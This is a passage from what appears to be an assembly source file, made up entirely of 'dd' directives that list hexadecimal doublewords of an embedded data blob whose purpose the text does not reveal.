0D7D39979h, 72EFC4Eh, 59E70391h, 0F3EC60C0h dd 9B4FB2A8h, 0C2249C00h, 1D55118h, 0E8987F1Bh, 0D6CD25C0h dd 74DC1087h, 0B0C0F056h, 57232601h, 54203EC5h, 50DDB7D0h dd 0CC10E4h, 59AF430Fh, 61AAF878h, 0C65CF1E8h, 0B33E2C04h dd 7CA0F00h, 83D171h, 430ECC1Fh, 0DD7851A9h, 8058F1F1h dd 0AA0DFEF9h, 0C0D8E117h, 6505D730h, 0D600AD63h, 471CCD2Eh dd 3788795h, 0C73B5D27h, 96E24920h, 17CA5C80h, 0C014F471h dd 3B2C5143h, 9621E61Fh, 64E070h, 6F594E28h, 0D50F5E84h dd 52530402h, 60A6FA34h, 4F3046h, 8426F5Fh, 0B8693F9Dh dd 8487310Fh, 7035A0B2h, 0F73399Eh, 9D4C9565h, 1E68A280h dd 0DB0099B7h, 0B29EB389h, 0E0A65987h, 70963BD6h, 3B213C80h dd 206903A0h, 0EF2DC00h, 6B713FCBh, 0A340007Bh, 0E0ED1468h dd 9D00F874h, 2C36849Fh, 722650h, 0E581ECF1h, 0F21DBBB8h dd 2159E600h, 1C527C34h, 664200A7h, 4A1F7E5Ch, 8D00120Fh dd 0C3EC0CC0h, 0E211140h, 6A1062A5h, 0B3F8C9E0h, 541378A8h dd 0A4802724h, 97B92EDDh, 774CD2F8h, 4E590095h, 7AE972CDh dd 2F0A008Ah, 0DC365FF7h, 38053AEDh, 3DC7F8FAh, 51BCB44Eh dd 0D2D228h, 0C871890h, 3FCCD37Bh, 91E9F11Dh, 0F762C181h dd 798122CAh, 80E4DC3Ah, 0FF488290h, 23AF8Fh, 1949AB5Fh dd 3C007898h, 0DC439CD2h, 3BC24E21h, 0CA00323Ah, 6B3F8CE9h dd 670F6092h, 8009B2ADh, 4A181A50h, 0AA0F03FFh, 56257B48h dd 0B89BA900h, 0B110307Ah, 0D80C0085h, 572BA35Eh, 0B303D4CBh dd 3BA10F23h, 0F4ADE124h, 0EA076EE0h, 0C9DC033Ch, 0F765B0A6h dd 0E091A100h, 8879B882h, 443200C3h, 0D6A7C7A6h, 0FD006CC8h dd 939514C9h, 7B59CA9h, 1E8936D4h, 0F826F188h, 32CEDC2Dh dd 0AE255400h, 0E361B457h, 7B9D391Eh, 36FE0174h, 8C2EEBA9h dd 4FB3D002h, 8E30A33h, 0DC2100AFh, 9FB02EF3h, 0CF50EEFDh dd 0F900B41Ch, 5246AFA7h, 6044DE27h, 0E6A9603Eh, 68C836EFh dd 1200CE80h, 0B09303F9h dd 0DFA44486h, 7C2EE800h, 41278610h, 1FAA0090h, 51985DE0h dd 76309A75h, 0DDFEE1E6h, 0C5120014h, 201F9CBBh, 783841F6h dd 0E18E06E6h, 7A2954F7h, 3637696h, 0D042FBDAh, 830C3B5h dd 0EEA1214Eh, 0C2C50063h, 38BFDE79h, 0C063662Fh, 60ADC58h dd 0FD401F50h, 0D7008082h, 71E0BC4Fh, 693D32h, 0A5E9BE9Eh dd 44513EC3h, 0AD340A00h, 0C06C0F1Eh, 4DCA00F2h, 0E67D4FE4h dd 0C5002DC9h, 23A10EDCh, 0A0C4DA95h, 0FCFFACBBh, 604000CAh dd 56A836A5h, 4D00F9F8h, 0EE9883E1h, 373E08h, 3B799F25h dd 4FA40B46h, 17A17E00h, 7D09AE51h, 7CEB5C78h, 542790Ah dd 730831F1h, 5D208030h, 39B7EB7Fh, 0A1703B6Ah, 804519E4h dd 1793B080h, 74326800h, 0E1809771h, 0E3FA1D76h, 0AFC30383h dd 78002FEDh, 0EBF0CC43h, 1E363A45h, 8F51193Ch, 10D4898Ch dd 62187006h, 1D01603Ah, 4A080C51h, 1180B2E7h, 74D6664Eh dd 450C6C25h, 8442D4Ch, 6B21C349h, 26B8D66Eh, 67000266h dd 8010CF63h, 28D9B277h, 78CA8F6h, 4890D0C9h, 0F98E8F28h dd 19E3F126h, 3588820h, 78C01AF7h, 10006624h, 0D1E4D956h dd 89506h, 8D43210Fh, 31421C84h, 0DD278903h, 0F0FBD5E3h dd 200E2446h, 48586ECh, 0C09DC555h, 8F3E9299h, 15584000h dd 8C94781Ah, 659003D7h, 8B35C3F8h, 0E07509F1h, 79F0D432h dd 4400E1E8h, 7B72DD92h, 0F6E040ACh, 2F7790h, 96DCAE36h dd 3CDA778h, 41037A74h, 3487D602h, 89EE079h, 3A7C7CC6h dd 9580803Eh, 8A751E26h, 0E00B8CC7h, 8222760h, 187668BBh dd 10D0C226h, 0DD03E034h, 129BB56Dh, 3DFCE0F6h, 0C00E025Ah dd 467727AFh, 9032F963h, 102E29E4h, 0CB88F58Bh, 1B6C884Bh dd 85082A89h, 442F2044h, 1145C645h, 80C123D4h, 0CA8B1A49h dd 19AA2247h, 2722E222h, 0D0B85857h, 0DF44F150h, 73A84FEh dd 44FBC029h, 14A1144Ah, 6F49083Ah, 64D45123h, 52CE4A08h dd 2584D610h, 14D34A1Fh, 88C73908h, 9F8820B2h, 485788CCh dd 9175FB88h, 1100724Eh, 0A1355D8h, 0E027A9h, 0AEE35481h dd 67BE912Bh, 7A60FF00h, 0F5855143h, 0C7275A2h, 2B349CB3h dd 5D00EA18h, 36ECFDDEh, 4756F9h, 2C2D31A2h, 4AF649E4h dd 7095FB00h, 9AD737BEh, 0A0F475h, 27D061D4h, 0B99E3B83h dd 84559800h, 2C04C606h, 0E5690088h, 775885C2h, 6400516Fh dd 79251D19h, 5179A53h, 8705BF65h, 0FD68C069h, 0FC006BDAh dd 98233212h, 63D2CDh, 97F66AB0h, 0BBD4C7C6h, 832ED000h dd 50072D0Dh, 0AC0A0A04h, 2ABC344Dh, 0FA6F074Ch, 636EB769h dd 700011E8h, 0AD88B5B3h, 0D57004h, 22844DE3h, 44D7D474h dd 0F463CB07h, 0DCD096FBh, 7C764379h, 574E048Ah, 909B87A6h dd 0FC1B0E8Ch, 23ACDB1Ch, 0C2178CC0h, 83AF8Fh, 0B6D5F9EAh dd 436F33ADh, 3FD27900h, 0F54104F3h, 0DDC1004Ah, 0B5A8F17Dh dd 3D00A3F8h, 1F264FB1h, 4EC868h, 0E0D89413h, 6312782Bh dd 7B05A900h, 0F8ECEE31h, 45230084h, 39AD6CE8h, 0F2002D13h dd 9268BF5h, 14A03CFAh, 0EBBA53E6h, 0AC5E800h, 5DB4F891h dd 71F3EA01h, 7B234334h, 0EA817CCCh, 2B9C0AFEh, 5EE41A1h dd 8009AB48h, 304AACAFh, 0F0938C33h, 0CBB19846h, 82778Eh dd 9FC6C004h, 44A3A44Ch, 706C6800h, 943EF5B0h, 81B100EDh dd 5B7C997Ah, 117C4B8Dh, 4975637Bh, 91005671h, 2E1DBA1Ch dd 3E139C86h, 0D2004A44h, 0E23BE5BBh, 2300CDC6h, 7B4EE1D8h dd 9EC0EFh, 8FCAB065h, 64E859FCh, 8AE7E51Dh, 0BA230DC1h dd 0D0E80AF7h, 9E331EB8h, 5349819Ch, 0D486BB42h, 8B034F6Eh dd 803C439Dh, 0F5B9D811h, 1F221C30h, 87044067h, 901B31EDh dd 85B4BD01h, 9EDCC679h, 2F1F82E0h, 55606622h, 8A00807Bh dd 9C04D85Ch, 24343Fh, 0BD31F2E4h, 100BA656h, 6724889Ah dd 783F08C0h, 9FD04C00h, 2A708EFFh, 351E0F32h, 0F9606557h dd 597F663Ah, 0DD024E00h, 69ACB1ECh, 0F325008Ch, 87B85442h dd 57004507h, 0E4039102h, 61993F1Dh, 2937D059h, 362FE8F3h dd 391EA71Ch, 67DC6A00h, 0EA077h, 3D3897D4h, 0CB154154h dd 4D82E500h, 0F1E76994h, 177B0087h, 869E5FD8h, 9900838Dh dd 642F92C3h, 342B08h, 28A6DB91h, 0E4ADFC65h, 7100F498h dd 7E3FF8AEh, 0FD4B57h, 54291E5Ah, 0CE0B80Ah, 0BFAB7200h dd 4FC749F0h, 2ED6044Eh, 0C3CA2426h, 92E0E92Ah, 0E100ACBDh dd 826A2C25h, 0C8A40Eh, 2B988163h, 0DDEFD1Bh, 0B678C700h dd 1561718h, 8DA10065h, 0B9A028C1h, 8000CBC2h, 468E415Ah dd 9829963Bh, 0FCA40739h, 20433665h, 1C42453Ah, 0F227D402h dd 80E9D891h, 73D3AD86h, 5B9800CCh, 0C0CD4852h, 0A43BB645h dd 887F1F6Ah, 0C4717244h, 4CD1BC80h, 8C4E24D5h, 7B202CDh dd 0BC403F31h, 2A00503Ah, 27F2A85Dh, 0BAE0FA95h, 0F32E07F8h dd 0C7473B0Eh, 0FEA1402Dh, 3E005659h, 0C2BC7A3Ah, 1A030Bh dd 0B30D4136h, 40EE44B6h, 0ECAFD400h, 0D1886F64h, 6B6903DAh dd 0E84B67CBh, 246EA6A8h, 200D2D1Dh, 71E93386h, 0C8050010h dd 95FF3C40h, 0D7FA50CAh, 0B33A131Dh, 97A3B9C0h, 648FE81h dd 0CF46F070h, 0CD01C86Bh, 3E0FF2C8h, 82EA7197h, 60A25AC4h dd 0F2E2FC1Eh, 9D8800EDh, 0A63E0461h, 4A01558Ch, 0F84839C2h dd 24E4E0B0h, 0BE0F0067h, 0B50D10C1h, 0D1004E6Bh, 8BDF0670h dd 131A5348h, 2F8D2Ah, 0F7CC1D78h, 6300A6DCh, 579F6160h dd 3F0EA1A3h, 878E0CABh, 1AE00819h, 8404D18Dh, 0D2766D13h dd 0F8F9D03h, 0DBA3C0D0h, 4D6200FAh, 28EC8C70h, 0F300F8C7h dd 0EB418803h, 964286h, 8A3AD858h, 65FA629h, 77044EB0h dd 0E83C11ABh, 0AAF89080h, 752900D1h, 31D2F25Bh, 0AC3EB715h dd 0D96A03FEh, 0E06D7E5Ch, 0E5C79F7Fh, 64FC8061h, 39E198DCh dd 6200F3C5h, 985A9722h, 7900242Eh, 16684E82h, 8708D5h dd 4CEB39C0h, 7C13DB3Ah, 0B3DCA907h, 0A013966Bh, 0B72080FEh dd 1F63005Ch, 0ADE5BD7Bh, 0D6158745h, 5FC7AD3h, 0CAFF274Ch dd 5FF95682h, 581E12E0h, 0CC7B4500h, 0DBACAE51h, 0CE980E08h dd 33A012FBh, 0E281852h, 0F5641C00h, 9BD379A4h, 0BA5EC4F6h dd 0E31480DCh, 0AE008A06h, 0F5E8AFA6h, 7EBDDC3h, 4ABD515Dh dd 7D2D53A9h, 9D7A30C8h, 0A60EEDB8h, 3F512CA3h, 0C9C81100h dd 0EEB28ACDh, 0B5D1001Ah, 835CF59Ah, 86075035h, 124FD4FBh dd 0C1700209h, 4580C0B8h, 0E2B900FDh, 0D597C84Ch, 7013BAAh dd 66173835h, 0E04045E8h, 3D777122h, 0C82C1B37h, 0F3610035h dd 0B10B5740h, 0CB001F7Ah, 318ADB7Dh, 1BB5525h, 7511F152h dd 0F0D94C14h, 0BF007ACAh, 5EF24D5Dh, 0A0A426FFh, 20848CE0h dd 0B0F8F63Ch, 8A3D0B30h, 58FF8BE5h, 3A0374A0h, 0E2D37A33h dd 0C86523C8h, 4026C200h, 90DB2018h, 84CB07DFh, 912FADA9h dd 0D4F71432h, 1031DCF0h, 80DE18EEh, 0B155C24h, 3FE1106h dd 62187400h, 0F00B48B7h, 8758041Bh, 4EC78F0Ch, 35102BA7h dd 96A7E8Eh, 40F0A58Dh, 0CC250000h, 780F13DDh, 189B9C7h dd 0BD062B45h, 3288E0DEh, 129F004Bh, 2A9D60C1h, 0EB0E43DBh dd 0A078AA7Fh, 3C39676Ah, 0A822128Bh, 0B9E9011Fh, 62E34951h dd 0F790918h, 640500E9h, 0E84FF0h, 0BF3DC1C0h, 0AACBEF7Ah dd 6C2CA401h, 0D1A727E7h, 0C53BDCh, 40B33E41h, 6623FAA3h dd 0E71EDAFAh, 0CDC06CC1h, 1C0F942Ch, 0A37054h, 82D216B8h dd 666B10D9h, 0CA095D00h dd 0DA4249F9h, 2DBA1D97h, 9C662Ch, 476FC45Bh, 331E8912h dd 3C0BFFFh, 0FCA872D2h, 59CC3896h, 3BE24080h, 517EEC2Eh dd 0CD823203h, 0E043FB88h, 1CB45A6Eh, 878EC192h, 20468397h dd 3B74013Fh, 0F62B5505h, 0B0877C22h, 458A41B0h, 107D67F0h dd 0CCB44F79h, 40EED00h, 326F489Bh, 61F1F01Fh, 2880D5CCh dd 0B8BE005Ch, 33E6782Ah, 3700C607h, 85A0CAF9h, 5802E4E0h dd 550094E3h, 1CFC2122h, 200EEFF7h, 0A0AB93DEh, 0A784DB49h dd 0C3FB01B7h, 0ED47D26Ch, 0A90120E9h, 0D4FFBF0Ch, 139A1871h dd 191C8E1h, 0FAC1E519h, 0D594609Ch, 0DA481900h, 726ABA67h dd 0C5EF0055h, 2F9A237Fh, 0CEDD1630h, 0DD21E8C0h, 588F57h dd 6EF08112h, 0C20D7CC7h, 38D9E40Ah, 0B700BCEDh, 4E73A3E1h dd 1687BB3h, 0FF76708Fh, 0CB90D0BEh, 9C54A8E8h, 61E31F00h dd 2C8C5AE9h, 0D77C0FEEh, 0AA809D8Fh, 53DEF04Dh, 261D7B04h dd 0AD024857h, 80E687A7h, 4D2B2100h, 49DCC765h, 0D38801EAh dd 0FD44C9DEh, 0C6D0FB9Ch, 7A010626h, 0B3967CA6h, 0C30226Fh dd 7E40BD5h, 9C80598Ah, 9658FE3Ah, 0DD0DCF03h, 0F81084DEh dd 3F6B24FCh, 0A70091F1h, 73DF13BFh, 0DC005286h, 7DDDD9F9h dd 5EA256h, 0BB8F414Bh, 35CF1DB5h, 0E826E217h, 8C1A00EAh dd 171446D6h, 90D8A828h, 85809500h, 6C7D714Ah, 566909BCh dd 1C20C6F3h, 4984AED8h, 57421602h, 66BF5928h, 4B2603B4h dd 0C40C341Bh, 1710801Fh, 99574685h, 334D30C0h, 0BAC20242h dd 4EFF691Eh, 0B6521360h, 9FE8EF00h, 916390CDh, 29C200B0h dd 2A642B14h, 0AC1F4448h, 69802119h, 0F09A797Ah, 1B7B1EB6h dd 0EB2EC056h, 0CA4AB036h, 80DC5126h, 0E0D0440Fh, 7B8D9480h dd 169E418h, 0D9916EEAh, 81972B43h, 8E3DA118h, 3880C9DBh dd 0C2097ACFh, 0DE007CC0h, 56D14F64h, 3A3E0134h, 6A80F0EFh dd 5C70BFEAh, 7C73D6B7h, 0FF67A314h, 0DB2069Ch, 38F735h dd 7B08E11Bh, 6CF6AC31h, 0FBA6A00h, 7373F2Bh, 6616030Bh dd 1ED020DCh, 9D84EEB8h, 0D78730FDh, 0BD87B800h, 6B1440FBh dd 1E300953h, 60E44Ah, 43F46C39h, 0C8B26500h, 0C357817Eh dd 0DC5500B3h, 1E022C7h, 1B00B787h, 0E3DB3F23h, 0C32924h dd 936A287Ah, 74DF4665h, 7033C38h, 7F073071h, 0F7815435h dd 0F9C02F10h, 0BC01007Eh, 615275C9h, 0B600BEBDh, 0DC0D175Eh dd 0B46226h, 7E7A48D7h, 9D7136E6h, 2F273100h, 2C6D7DFBh dd 633700A3h, 2534439Bh, 0A8041988h, 0B135E3A9h, 0B71304C1h dd 52107E4h, 23B06E36h, 0A2DB80C4h, 8B001993h, 0A5A9D531h dd 5B99C6h, 0B4AA446Fh, 0C7E27097h, 0CF005575h, 73C6F8C3h dd 15B264h, 0CB28AE09h, 7F1294FDh, 0C8055500h, 8F9ED218h dd 247E02E3h, 0E7FCB297h, 0FB84B040h, 287D40BFh, 0D41D02ABh dd 0C0EDA619h, 31E25C40h, 1AD09502h, 58EB9E34h, 0D77CB8h dd 0E46ECBF4h, 3C3BA931h, 0DB9F1F03h, 1F64EBACh, 8C654AB4h dd 0B248F81Eh, 107F090h, 0E6E22783h, 3E7A4580h, 0BB030181h dd 0A0AFC180h, 80AAD50Ah, 62F89C30h, 74169717h, 0F1746Dh dd 6E96773Ch, 3729552Eh, 8F12D800h, 86F94F20h, 0D154009Eh dd 66A48B72h, 0B82607F4h, 9B0FD898h, 2707D702h, 12B0EB90h dd 0FADC70h, 4AFC85ECh, 165C8411h, 40777E0Eh, 2A00BABh dd 0C839FA4Dh, 0F4122Ch, 3DE3F9E7h, 0B258EAABh, 3EF56A00h dd 864B4C76h, 0B89760BAh, 0C86B4460h, 5F9EA500h, 807E1AECh dd 0D45107CEh, 0D06FBD91h, 0F56B4D03h, 0A400E55Ah, 23350C9Ch dd 9E020534h, 0D4E6DCh, 1D2D43F8h, 0DE00AC61h, 0DF3F9C0Fh dd 0FB29C8h, 1863CB4Bh, 542CF1C7h, 3022DE48h, 141B19A9h dd 78FF0065h, 6BA6A7E0h, 577575A5h, 649EB6EEh, 0A430AE12h dd 0ED31370h, 4B3DE667h, 0E29F4AA0h, 0E0009E89h, 98DAC4DBh dd 518C9Ch, 8FB02094h, 55D2970Bh, 7FC78BDh, 0F0619F18h dd 86D4D302h, 927580E8h, 813A89ECh, 253F8B62h, 28718064h dd 30BF1E34h, 0D58897EDh, 0B63F9CCBh, 8705808Bh, 33E8948Eh dd 4BB0073h, 75F5140Eh, 0F804810Ch, 0F2984D48h, 3361C0D0h dd 826900ACh, 0F9436C6Eh, 0AA74E8A2h, 106FAB30h, 56459Bh dd 3F44CCB8h, 0BB6A593h, 27506400h, 18910F59h, 0FF1418E9h dd 8BE53052h, 0CF31ED0Bh, 0B12180D8h, 0CA1A7Dh, 5CF5FDDDh dd 0DE308C51h, 52A6F4A0h, 0F754160Ch, 146CC8FAh, 0E8802803h dd 0D900983Ah, 2FC5C32h, 0C6E6142Bh, 0A9B69E09h, 65F0A790h dd 835101E1h, 8B47E8h, 0DC124267h, 7B955C61h, 80432F3Fh dd 0BA5766D1h, 0C01AC574h, 646F5378h, 8112F710h, 70128A3Dh dd 0BA568007h, 0C04FD212h, 1CF8CB94h, 40EE762Fh, 982A8B36h dd 940E044Bh, 0CF709259h, 787BC07Ah, 17B50C0Fh, 0D4992Ch dd 5E126B05h, 0DCE6A5D8h, 0C92A7D01h, 0D853FFEh, 6713E883h dd 0BE05678h, 4700E9B6h, 950577EAh, 1CF0C8E4h, 1F741B4Dh dd 0A0FA0348h, 25809E8Bh, 2200237Ch, 3075F9BFh, 0EE9A5h dd 18D733AFh, 2C55BECBh, 0D608EC0Eh, 0B60192FBh, 0E46FC35Fh dd 1F84434h, 3A26756Eh, 60A4159Ah, 7B012760h, 9B39897Ah dd 0F0745968h, 4E290016h, 181F5DEAh, 820032E5h, 0B9BB8B40h dd 24846DBh, 0AEE1F3C5h, 0B94120DDh, 46003E74h, 5A472881h dd 4B42B73Fh, 0FB36A460h, 2D338600h, 0B6D5B31Ah, 7F5CF6C6h dd 635801CAh, 0CB903052h, 6562CC14h, 0A5C94705h, 0FCF075ECh dd 8CE750E1h, 78EA2ECFh, 68D08B28h, 0DDCA80F5h, 60C6BDECh dd 0FA29F930h, 17004D5Fh, 0ED893510h, 64CFACh, 1482ABAAh dd 0D061C85Bh, 37495507h, 946FB9DEh, 339F0090h, 5C0E737Eh dd 8BEC3D4Bh, 39004A5Ch, 3C378A48h, 0D04D94F1h, 7BC201E0h dd 31927DB2h, 49867884h, 3AFCCBDAh, 0A96D16DCh, 2B29600h dd 483B0FFCh, 791FB86Ah, 0E3AA4094h, 45C2F09Fh, 105269E0h dd 0B6160040h, 337FD71Ch, 251E0E55h, 4261D848h, 21E40CF6h dd 0B7E07BDAh, 227F0F7Bh, 24239C71h, 0CCC0A606h, 8C71ABB2h dd 8ED3A000h, 0AAC98D5Ch, 0D42503F4h, 80991B27h, 0B18B9A0h dd 403F8203h, 0B0DCA1EDh, 304E9469h, 2448A592h, 4652950Eh dd 0E0CE00D0h, 37729198h, 3BC673CFh, 0B0AC6001h, 0D01A0082h dd 0CCD63DDh, 293FD201h, 4FC575CBh, 0E7EBFF4h, 929A32CCh dd 942508A3h, 4079F8A8h, 0AA470500h, 33573858h, 8DF20F1Bh dd 1E336E83h, 0B73C4260h, 404046FCh, 5E02AD1Ch, 0EE50C0ABh dd 0F101E0A9h, 45F6F7h, 0FAE80E16h, 33DA663Dh, 6D22C3Dh dd 0AB4AB18Ah, 73173D0h, 0F4F92A04h, 7ABA013Eh, 9DFFCCE1h dd 14A51500h, 8ED949F0h, 8FCA00C8h, 0DAD281BFh, 0ADF28809h dd 31C6AE1Fh, 4449CC40h, 0D8FFE1h, 0A1A36DD3h, 21E647FAh dd 6CFB41Fh, 0D8D0BFD3h, 0B5E683Eh, 8CEE53F4h, 0B4B63502h dd 52C0E28Fh, 49CD615Ah, 819E2600h, 8C5F9D1Eh, 0C6E60409h dd 800AC1DFh, 1A7E799Eh, 95390B00h, 0BD156E8Eh, 449F03E5h dd 0FC67DC35h, 333842F8h, 96236200h, 0FA99EC48h, 79185CA1h dd 4B201600h, 0B5D675E5h, 7D09F600h, 98379480h, 417B96h dd 99C44630h, 0FAEFB38h, 6095350Bh, 42C0C0CEh, 91742516h dd 62A3288Eh, 0B4F85FA2h, 0A3000D21h, 0FA40F5A8h, 77F00BBFh dd 33E200EFh, 0EB5DF9D5h, 3C01301Bh, 3F9341AEh, 6FC40C0Dh dd 435800BFh, 0EBAA537Ch, 0E0588635h, 0F2DD1604h, 4A2F5C01h dd 0D810DE16h, 0F0902BAEh dd 191B8B03h, 0B1A136BAh, 99FFCA44h, 41968903h, 6F7C3C98h dd 0AD4C9012h, 3010CC09h, 79C6B7C8h, 0BC7C00A7h, 7919282h dd 0B1E0B63Eh, 4E8374Ch, 38D7FBB7h, 0D9EED491h, 6A60C108h dd 0DA595060h, 51F91FA8h, 407C1305h, 5DA791ACh, 4F1221D7h dd 6CC0C0CBh, 74EFA22Fh, 1B7A7B19h, 18C5B21Ah, 0DAB3E983h dd 0A3972588h, 7C7D820h, 35195D7h, 36998059h, 410063F0h dd 0E325D111h, 0B01EDC16h, 9C300A9h, 3BDD283Eh, 6B00CBCEh dd 1B381DACh, 16F2587Dh, 0F8E9612Bh, 179002Ch, 0CD36A0B8h dd 17970567h, 4E04AED3h, 4520FB98h, 929FD044h, 1D0B7458h dd 0F9D724Ah, 0EFC9B380h, 9D6B40h, 651BB043h, 0FBCF2F27h dd 0BA013800h, 0A2A55BBEh, 4DB401F3h, 5C2D90D0h, 9F19E846h dd 0DC33D700h, 0E9292679h, 4FB600DFh, 0A4B35382h, 0B1751C91h dd 11A8E060h, 602D0Fh, 24E8D31Eh, 0F3C87E75h, 3182500h dd 0DE8C13A5h, 0C3E90110h, 0BF1EDEEh, 0E0EBD8C7h, 0D6188D67h dd 0A29DCCD1h, 0EECC89CDh, 63C800B5h, 184C35E1h, 8307DBFCh dd 9836817Ah, 0B470D977h, 0A8EBC7h, 4E8C2628h, 552B3DD2h dd 0BD40C400h, 0A5B6827Fh, 36EEC2h, 56903583h, 5A519A23h dd 0C10003F8h, 3B416963h, 31D90Ch, 76CB47EDh, 38B76120h dd 0E8F5EE00h, 6A3F8D30h, 0AE391CADh, 872D80F8h, 905FDD8Ch dd 6E349F01h, 40DB74EEh, 6C05BC2Ch, 83EFD49Dh, 0F3E175CAh dd 2E44600Fh, 28ACA50Bh, 0ABD860E7h, 55D7005Ah, 12881E13h dd 61008FD4h, 0D934D6EEh, 366574Fh, 18C125D5h, 0B0E7D2B0h dd 3169B25Eh, 3B6D8607h, 2D607612h, 206770h, 85114AF6h dd 1BA55D5Bh, 9217CAE8h, 64047BB8h, 4816AAAh, 3A5317h dd 0CE9ADC9Fh, 0C00012EEh, 0F764199h, 0F067245h, 39073F9Ch dd 617167C0h, 640440DEh, 53B428BCh, 0B65F8FC0h, 0B57A0Dh dd 0FC0A817h, 9465A4C6h, 0C168D50Ah, 2300E075h, 4D74CBD8h dd 0B51030Eh, 0E9DA8F31h, 8D9D81C0h, 1564A3Eh, 401D6571h dd 80D1764Bh, 1D0A8AD8h, 40172ACBh, 0F2432862h, 3600D15Bh dd 39413D0Ch, 1E78819Ah, 141A8DCFh, 79D0E2h, 0C829F356h dd 0E8543EC6h, 0E6B1B700h, 581A5083h, 0F4BA40h, 7F4BFE9Ah dd 4F84D22Bh, 3BA93824h, 0E9F34600h, 0C62064h, 54E32275h dd 94FA9E7Dh, 0D59CA0Fh, 0E2C7405Fh, 10692CDh, 0A22A74D6h dd 4093ABCEh, 735CB4C4h, 0A800FC5Eh, 5F8ED7DBh, 4CB823h dd 6635676Bh, 0C3162943h, 28D10A1Ch, 0ACF28DC0h, 7CB651Ah dd 0EE419C32h, 1AD9352h, 0AFD643B8h, 0D2CC7A00h, 0DD09DC74h dd 54FB006Eh, 22848A36h, 0A201113Bh, 7EE2D94Dh, 85CD24D0h dd 0E01D61DCh, 8D7F0096h, 63B564DCh, 0BAA19733h, 0C8E1F8ABh dd 112F8600h, 250BE61Fh, 4F6E0379h, 91DCFF4Dh, 8C2D8B88h dd 5FB4D200h, 5C95B2CAh, 1247B37h, 0C3188790h, 0F027F68Dh dd 0F896D050h, 80A62309h, 7130C0F8h, 58110069h, 0FA6FB26Ah dd 7F00678Eh, 8262DE03h, 1FCAB4h, 4E0ED9D8h, 2B632EFh dd 2700B87Dh, 2F7B5D9Dh, 0FCCCDFD1h, 99E41Bh, 77F467D2h dd 8506FF8Bh, 87FD6602h, 80F02415h, 0FCFA5EECh, 0CE1F0458h dd 0C01C2BADh, 6FAB0778h, 8440D407h, 0C7F0B403h, 3FEAA21h dd 572531BEh, 28328B1h, 0E3AE2EE0h, 0D7C3D901h, 78823283h dd 800BEC47h, 0C758F621h, 51062D65h, 70C9E000h, 0E70097B1h dd 18ABE6AAh, 0F6EDFAh, 0C325D08Bh, 0D31DC97Ah, 7EC76703h dd 0D06AE691h, 410B76h, 28FE38FDh, 0F6FC5EB2h, 0F8A3D900h dd 0D20972ECh, 0C7D40097h, 8A9F4D98h, 7100475Fh, 39F5B068h dd 507F34h, 7A99B804h, 0F745A76Dh, 0C73E91F6h, 7C27014Eh dd 0D39CE54h, 95F020h, 40862BB4h, 85A1FBEFh, 0EB1E0290h dd 80075E48h, 0B6506BDAh, 0FDE696h, 5F18C8DBh, 0EBB8ECD4h dd 2800994Fh, 0AE2A4934h, 673500E0h, 4821F691h, 0D600864Bh dd 0BFBA4FEDh, 0D31CF2h, 0F6C9D781h, 2541F4C2h, 45E7C05h dd 0AAEC5A7Bh, 4A8C0601h, 0C4D43F02h, 0A20BB8D9h, 0B5250B9h dd 3F44E6ADh, 2380C827h, 39C24B8Fh, 70B0CACDh, 0F21D7E77h dd 14405035h, 6B0D38A4h, 53E51784h, 0F2008EF6h, 156189Bh dd 6D07ABEEh, 1A557EBAh, 109C608Eh, 989197h, 5A1126C2h dd 1B809342h, 47AA9503h, 0D801BD46h, 13693BDEh, 405BA58Fh dd 328D2CE8h, 0F709398Ah, 857DBCh, 55E8E23Ch, 565E3049h dd 7996B030h, 0AFE64300h, 5B8CDE85h, 22D10ED0h, 1083253Eh dd 60F05D1Bh, 700A0D5h, 0C6A99008h, 0FBB36F6h, 535F3261h dd 0C4FCA425h, 3AC541h, 7B2FF164h, 0F300F9C0h, 0A2DB84CBh dd 1E8AD3A7h, 0C0856338h, 0CE693F2Ch, 0CD1CCA48h, 0A35DAA56h dd 6A507CC7h, 253F13C0h, 0ADC10760h, 0FB911DE9h, 1401E000h dd 0E825BEACh, 0F8D0809Ah, 1D89E77Bh, 3728776h, 8D438C4h dd 66823D8h, 506B4E01h, 29F46180h, 2D25E8h, 540288C5h dd 4360F62h, 0A0309D00h, 63485EF6h, 59412889h, 71AF158Ch dd 5200884Ch, 0B92D190Ch, 8C0069F7h, 12A8A0F2h, 2CA756A3h dd 0B3405Fh, 82CDD84Eh, 1600A45Ch, 915968FBh, 90FECB4Ah dd 0A57B0224h, 6733A74Fh, 0E43A00C8h, 78FCE00h, 0CC6B77D5h dd 3200E80h, 9BC00E15h, 6C7E1210h, 23DBEB1Fh, 14B9C800h dd 9EF26B2h, 646337BCh, 54612400h, 0BE0C9Bh, 0BC806880h dd 0EA222F91h, 0C0A90095h, 0A5273CFCh, 0D098F88Fh, 0B9871501h dd 2EAAB456h, 0EE8E8DEh, 0D8E4A806h, 3AC261C3h, 6072C79Ah dd 9E05A5F8h, 22A651FEh, 0CF49EC80h, 31F201DAh, 0BA782EFh dd 0A507476h, 0E7F1B4Ch, 0A0A2FAF7h, 0A978638Ch, 80774E47h dd 65C945F8h, 0EC675907h, 0C03EEB33h, 7CAB877Fh, 0E5A00011h dd 5B4507A4h, 7E00BE84h, 2B2F683Bh, 0A10678h, 0D0B9F234h dd 0EF427B94h, 0DD9E8C00h, 1F7E037Dh, 0FA27FE06h, 97F5009Fh dd 920C6D31h, 51002BD1h, 504BBB9h, 161138AFh, 3B4254h dd 0F3C4B310h, 3C005B4Dh, 969DEE31h, 1C0EE1h, 9A91CCA2h dd 77CA8EF0h, 0B81E0BB0h, 0C3C14D2Fh, 18709C26h, 46DC20h dd 0E77E82FDh, 0E1C862E9h, 0CDB888EFh, 61E2802Ah, 1C1B2101h dd 0BA49DA14h, 0FEAF1CD8h, 0C1293280h, 36D3BDFDh, 21A28416h dd 435B2F00h, 5916A0Bh, 407007Eh, 2425B52Bh, 0BB0F399Eh dd 80A715BDh, 5CB2D1C2h, 3DD0CABh, 5340B997h, 0E43D5F07h dd 9C60A27Ch, 156BBAh, 9F89BDAFh, 0A485B9FEh, 0AE8AA0A0h dd 0E6005071h, 7E448E01h, 5265DEh, 2CAA67CBh, 84C97021h dd 0CF31E400h, 60077725h, 0B96D1D78h, 0F4368062h, 5974E69h dd 230087E2h, 1B980AB3h, 0FE32EC72h, 0DDD100BEh, 10BD9574h dd 3C004A2Dh, 8C11C4BFh, 4505CCh, 60DF39A4h, 0AAF76558h dd 0E514890Eh, 980285C8h, 9E0F80EEh, 8C2E6E57h, 66004D79h dd 7B8DA03Fh, 4631079Dh, 60F8901Ch, 0A5508639h, 0CA04C007h dd 36501611h, 67E5642h, 107BAF3Ch, 0CE0338A3h, 